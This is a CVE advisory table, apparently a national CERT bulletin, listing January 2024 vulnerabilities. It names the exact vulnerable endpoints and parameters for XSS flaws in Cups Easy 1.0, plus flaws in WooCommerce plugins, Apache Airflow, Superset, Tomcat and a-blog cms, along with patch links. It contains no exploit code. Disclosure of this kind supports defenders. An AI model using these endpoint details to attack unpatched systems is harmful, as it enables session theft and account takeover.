Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancelist.php, in the delete parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	N/A	A-AJA-CUPS-130224/30

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23870		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/unitofmeasurementmodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23871**	N/A	A-AJA-CUPS-130224/31
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via	N/A	A-AJA-CUPS-130224/32

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cupseasylive/locationmodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23872**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencymodify.php, in the currencyid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	N/A	A-AJA-CUPS-130224/33

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23873		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/companymodify.php, in the address1 parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23874**	N/A	A-AJA-CUPS-130224/34
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stoc	N/A	A-AJA-CUPS-130224/35

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			kissuancedisplay.php, in the issuanceno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23875**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurecreate.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	N/A	A-AJA-CUPS-130224/36

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23876		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencycreate.php, in the currencyid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23877**	N/A	A-AJA-CUPS-130224/37
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grn	N/A	A-AJA-CUPS-130224/38

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			print.php, in the grnno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23878**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statemodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23879**	N/A	A-AJA-CUPS-130224/39

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodelist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23880**	N/A	A-AJA-CUPS-130224/40
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statelist.php, in the description	N/A	A-AJA-CUPS-130224/41

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23881**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodecreate.php, in the taxcodeid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23882**	N/A	A-AJA-CUPS-130224/42

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructuremodify.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23883**	N/A	A-AJA-CUPS-130224/43
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnmodify.php, in the	N/A	A-AJA-CUPS-130224/44

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			grndate parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23884**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrymodify.php, in the countryid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23885**	N/A	A-AJA-CUPS-130224/45

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemmodify.php, in the bincardinfo parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23886**	N/A	A-AJA-CUPS-130224/46
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grncreate.php, in the grndate parameter.	N/A	A-AJA-CUPS-130224/47

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23887**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stocktransactionslist.php, in the itemidy parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23888**	N/A	A-AJA-CUPS-130224/48
Improper Neutralization of	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy	N/A	A-AJA-CUPS-130224/49

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			(Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemgroupcreate.php, in the itemgroupid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23889**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itempopup.php, in the description parameter. Exploitation of this vulnerability could	N/A	A-AJA-CUPS-130224/50

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23890**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemcreate.php, in the itemid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23891**	N/A	A-AJA-CUPS-130224/51
Improper Neutralization of Input During Web Page	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-	N/A	A-AJA-CUPS-130224/52

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/costcentercreate.php, in the costcenterid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23892**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/costcentermodify.php, in the costcenterid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially	N/A	A-AJA-CUPS-130224/53

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23893**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancecreate.php, in the issuancedate parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23894**	N/A	A-AJA-CUPS-130224/54
Improper Neutralization of Input During Web Page Generation	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs	N/A	A-AJA-CUPS-130224/55

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stock.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23896**		
Vendor: algolplus					
Product: advanced_dynamic_pricing_for_woocommerce					
Affected Version(s): * Up to (excluding) 4.1.6					
Missing Authorization	17-Jan-2024	8.8	Missing Authorization vulnerability in AlgolPlus Advanced Dynamic Pricing for WooCommerce.This issue affects Advanced Dynamic Pricing for WooCommerce: from n/a through 4.1.5. **CVE ID : CVE-2022-40203**	N/A	A-ALG-ADVA-130224/56
Vendor: all_in_one_b2b_for_woocommerce_project					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: all_in_one_b2b_for_woocommerce					
Affected Version(s): * Up to (including) 1.0.3					
N/A	16-Jan-2024	7.5	The All in One B2B for WooCommerce WordPress plugin through 1.0.3 does not properly validate parameters when updating user details, allowing an unauthenticated attacker to update the details of any user. Updating the password of an Admin user leads to privilege escalation. **CVE ID : CVE-2023-4703**	N/A	A-ALL-ALL_-130224/57
Vendor: Amazon					
Product: aws_encryption_sdk					
Affected Version(s): * Up to (excluding) 1.9.0					
Improper Verification of Cryptographic Signature	19-Jan-2024	5.3	AWS Encryption SDK for Java versions 2.0.0 to 2.2.0 and less than 1.9.0 incorrectly validates some invalid ECDSA signatures. **CVE ID : CVE-2024-23680**	https://github.com/advisories/GHSA-55xh-53m6-936r, https://github.com/aws/aws-encryption-sdk-java/security/advisories/GHSA-55xh-53m6-936r	A-AMA-AWS_-130224/58
Affected Version(s): From (including) 2.0.0 Up to (excluding) 2.2.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Verification of Cryptographic Signature	19-Jan-2024	5.3	AWS Encryption SDK for Java versions 2.0.0 to 2.2.0 and less than 1.9.0 incorrectly validates some invalid ECDSA signatures. **CVE ID : CVE-2024-23680**	https://github.com/advisories/GHSA-55xh-53m6-936r, https://github.com/aws/aws-encryption-sdk-java/security/advisories/GHSA-55xh-53m6-936r	A-AMA-AWS_-130224/59
Vendor: ampforwp					
Product: accelerated_mobile_pages					
Affected Version(s): * Up to (including) 1.0.92.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'disqus_name' parameter in all versions up to, and including, 1.0.92.1 due to insufficient input sanitization and output escaping on the executed JS file. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into	https://plugins.trac.wordpress.org/changeset/3024147/accelerated-mobile-pages/trunk/includes/disqus.html	A-AMP-ACCE-130224/60

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			performing an action such as clicking on a link. **CVE ID : CVE-2024-0587**		
Vendor: anglers-net					
Product: cgi_an-anlyzer					
Affected Version(s): * Up to (including) 2023-12-31					
URL Redirection to Untrusted Site ('Open Redirect')	22-Jan-2024	6.1	Open redirect vulnerability in Access analysis CGI An-Analyzer released in 2023 December 31 and earlier allows a remote unauthenticated attacker to redirect users to arbitrary websites and conduct phishing attacks via a specially crafted URL. **CVE ID : CVE-2024-22113**	https://www.anglers-net.com/anlog/update/	A-ANG-CGI_-130224/61
Vendor: anomali					
Product: match					
Affected Version(s): From (including) 4.3 Up to (excluding) 4.4.5					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	19-Jan-2024	7.2	Anomali Match before 4.6.2 allows OS Command Injection. An authenticated admin user can inject and execute operating system commands. This arises from improper handling of untrusted input,	https://www.anomali.com/security-advisory/anml-2023-01	A-ANO-MATC-130224/62

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			enabling an attacker to elevate privileges, execute system commands, and potentially compromise the underlying operating system. The fixed versions are 4.4.5, 4.5.4, and 4.6.2. The earliest affected version is 4.3. **CVE ID : CVE-2023-49329**		
Affected Version(s): From (including) 4.5.0 Up to (excluding) 4.5.4					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	19-Jan-2024	7.2	Anomali Match before 4.6.2 allows OS Command Injection. An authenticated admin user can inject and execute operating system commands. This arises from improper handling of untrusted input, enabling an attacker to elevate privileges, execute system commands, and potentially compromise the underlying operating system. The fixed versions are 4.4.5, 4.5.4, and 4.6.2. The earliest affected version is 4.3.	https://www.anomali.com/security-advisory/anml-2023-01	A-ANO-MATC-130224/63

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-49329		
Affected Version(s): From (including) 4.6.0 Up to (excluding) 4.6.2					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	19-Jan-2024	7.2	Anomali Match before 4.6.2 allows OS Command Injection. An authenticated admin user can inject and execute operating system commands. This arises from improper handling of untrusted input, enabling an attacker to elevate privileges, execute system commands, and potentially compromise the underlying operating system. The fixed versions are 4.4.5, 4.5.4, and 4.6.2. The earliest affected version is 4.3. **CVE ID : CVE-2023-49329**	https://www.anomali.com/security-advisory/anml-2023-01	A-ANO-MATC-130224/64
Vendor: Apache					
Product: airflow					
Affected Version(s): * Up to (excluding) 2.8.1					
Deserialization of Untrusted Data	24-Jan-2024	7.5	Apache Airflow, versions before 2.8.1, have a vulnerability that allows a potential attacker to poison the XCom data by bypassing the protection of	https://lists.apache.org/thread/fx278v0twqzxkcts70tc04cp3f8p56pn	A-APA-AIRF-130224/65

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			"enable_xcom_pickling=False" configuration setting resulting in poisoned data after XCom deserialization. This vulnerability is considered low since it requires a DAG author to exploit it. Users are recommended to upgrade to version 2.8.1 or later, which fixes this issue. **CVE ID : CVE-2023-50943**		
Missing Authorization	24-Jan-2024	6.5	Apache Airflow, versions before 2.8.1, have a vulnerability that allows an authenticated user to access the source code of a DAG to which they don't have access. This vulnerability is considered low since it requires an authenticated user to exploit it. Users are recommended to upgrade to version 2.8.1, which fixes this issue.	https://lists.apache.org/thread/92krb5mpcq8qrw4t4j5oooqw7hgd8q7h	A-APA-AIRF-130224/66

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-50944		
Affected Version(s): From (including) 2.3.0 Up to (excluding) 2.6.1					
Cleartext Storage of Sensitive Information	24-Jan-2024	6.5	Since version 5.2.0, when using deferrable mode with the path of a Kubernetes configuration file for authentication, the Airflow worker serializes this configuration file as a dictionary and sends it to the triggerer by storing it in metadata without any encryption. Additionally, if used with an Airflow version between 2.3.0 and 2.6.0, the configuration dictionary will be logged as plain text in the triggerer service without masking. This allows anyone with access to the metadata or triggerer log to obtain the configuration file and use it to access the Kubernetes cluster. This behavior was changed in version 7.0.0, which	https://github.com/apache/airflow/pull/29498, https://github.com/apache/airflow/pull/30110, https://github.com/apache/airflow/pull/36492, https://lists.apache.org/thread/89x3q6lz5pykrkr1fkr04k4rfn9pvnv9	A-APA-AIRF-130224/67

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			stopped serializing the file contents and started providing the file path instead to read the contents into the trigger. Users are recommended to upgrade to version 7.0.0, which fixes this issue. **CVE ID : CVE-2023-51702**		
Product: airflow_cncf_kubernetes					
Affected Version(s): From (including) 5.2.0 Up to (excluding) 7.0.0					
Cleartext Storage of Sensitive Information	24-Jan-2024	6.5	Since version 5.2.0, when using deferrable mode with the path of a Kubernetes configuration file for authentication, the Airflow worker serializes this configuration file as a dictionary and sends it to the triggerer by storing it in metadata without any encryption. Additionally, if used with an Airflow version between 2.3.0 and 2.6.0, the configuration dictionary will be logged as plain text in the triggerer service without masking. This	https://github.com/apache/airflow/pull/29498, https://github.com/apache/airflow/pull/30110, https://github.com/apache/airflow/pull/36492, https://lists.apache.org/thread/89x3q6lz5pykrkr1fkr04k4rfn9pvnv9	A-APA-AIRF-130224/68

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows anyone with access to the metadata or triggerer log to obtain the configuration file and use it to access the Kubernetes cluster. This behavior was changed in version 7.0.0, which stopped serializing the file contents and started providing the file path instead to read the contents into the trigger. Users are recommended to upgrade to version 7.0.0, which fixes this issue. **CVE ID : CVE-2023-51702**		
Product: kylin					
Affected Version(s): From (including) 2.0.0 Up to (excluding) 4.0.4					
Insufficiently Protected Credentials	29-Jan-2024	7.5	In Apache Kylin version 2.0.0 to 4.0.3, there is a Server Config web interface that displays the content of file 'kylin.properties', that may contain serverside credentials. When the kylin service runs over HTTP (or	N/A	A-APA-KYLI-130224/69

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			other plain text protocol), it is possible for network sniffers to hijack the HTTP payload and get access to the content of kylin.properties and potentially the containing credentials. To avoid this threat, users are recommended to * Always turn on HTTPS so that network payload is encrypted. * Avoid putting credentials in kylin.properties, or at least not in plain text. * Use network firewalls to protect the serverside such that it is not accessible to external attackers. * Upgrade to version Apache Kylin 4.0.4, which filters out the sensitive content that goes to the		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Server Config web interface. **CVE ID : CVE-2023-29055**		
Product: superset					
Affected Version(s): * Up to (excluding) 3.0.3					

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	A stored cross-site scripting (XSS) vulnerability exists in Apache Superset before 3.0.3. An authenticated attacker with create/update permissions on charts or dashboards could store a script or add a specific HTML snippet that would act as a stored XSS.
			
			For 2.X versions, users should change their config to include:
			
			TALISMAN_CONFIG = {
			"content_security_policy": {
			"base-uri": ["'self'"],
			"default-src": ["'self'"],
				https://lists.apache.org/thread/wjyvz8om9nwd396lh0bt156mtwjxpsvx	A-APA-SUPE-130224/70

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			"img-src": ["'self'", "blob:", "data:"], "worker-src": ["'self'", "blob:"], "connect-src": ["'self'", "https://api.mapbox.com" https://api.mapbox.com" ;, "https://events.mapbox.com" https://events.mapbox.com" ;,], "object-src": "'none'", "style-src": ["'self'", "'unsafe-inline'",], "script-src": ["'self'", "'strict-dynamic'"], }, "content_security_policy_nonce_in": ["script-src"], "force_https": False, "session_cookie_secure": False, }		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-49657		
Product: tomcat					
Affected Version(s): 9.0.0					
Generation of Error Message Containing Sensitive Information	19-Jan-2024	5.3	Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue. **CVE ID : CVE-2024-21733**	http://www.openwall.com/lists/oss-security/2024/01/19/2, https://lists.apache.org/thread/h9bjqdd0odj6lhs2o96qgowcc6hb0cfz	A-APA-TOMC-130224/71
Affected Version(s): From (including) 8.5.7 Up to (excluding) 8.5.64					
Generation of Error Message Containing Sensitive Information	19-Jan-2024	5.3	Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache	http://www.openwall.com/lists/oss-security/2024/01/19/2, https://lists.apache.org/thread/h9bjqdd0odj6lh	A-APA-TOMC-130224/72

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue. **CVE ID : CVE-2024-21733**	s2o96qgowcc6hb0cfz	
Affected Version(s): From (including) 9.0.1 Up to (excluding) 9.0.44					
Generation of Error Message Containing Sensitive Information	19-Jan-2024	5.3	Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.	http://www.openwall.com/lists/oss-security/2024/01/19/2, https://lists.apache.org/thread/h9bjqdd0odj6lhs2o96qgowcc6hb0cfz	A-APA-TOMC-130224/73

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21733		
Vendor: Appleple					
Product: a-blog_cms					
Affected Version(s): * Up to (excluding) 2.10.50					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	28-Jan-2024	5.4	Cross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier versions. If this vulnerability is exploited, a user with a contributor or higher privilege may execute an arbitrary script on the web browser of the user who accessed the website using the product. **CVE ID : CVE-2024-23782**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/74
Affected Version(s): * Up to (including) 2.9.0					
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/75

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23180**		
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/76

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			specially crafted SVG file. **CVE ID : CVE-2024-23348**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	8.1	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server. **CVE ID : CVE-2024-23182**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/77
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/78

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23181**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23183**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/79
Affected Version(s): From (including) 2.10.0 Up to (excluding) 2.10.50					
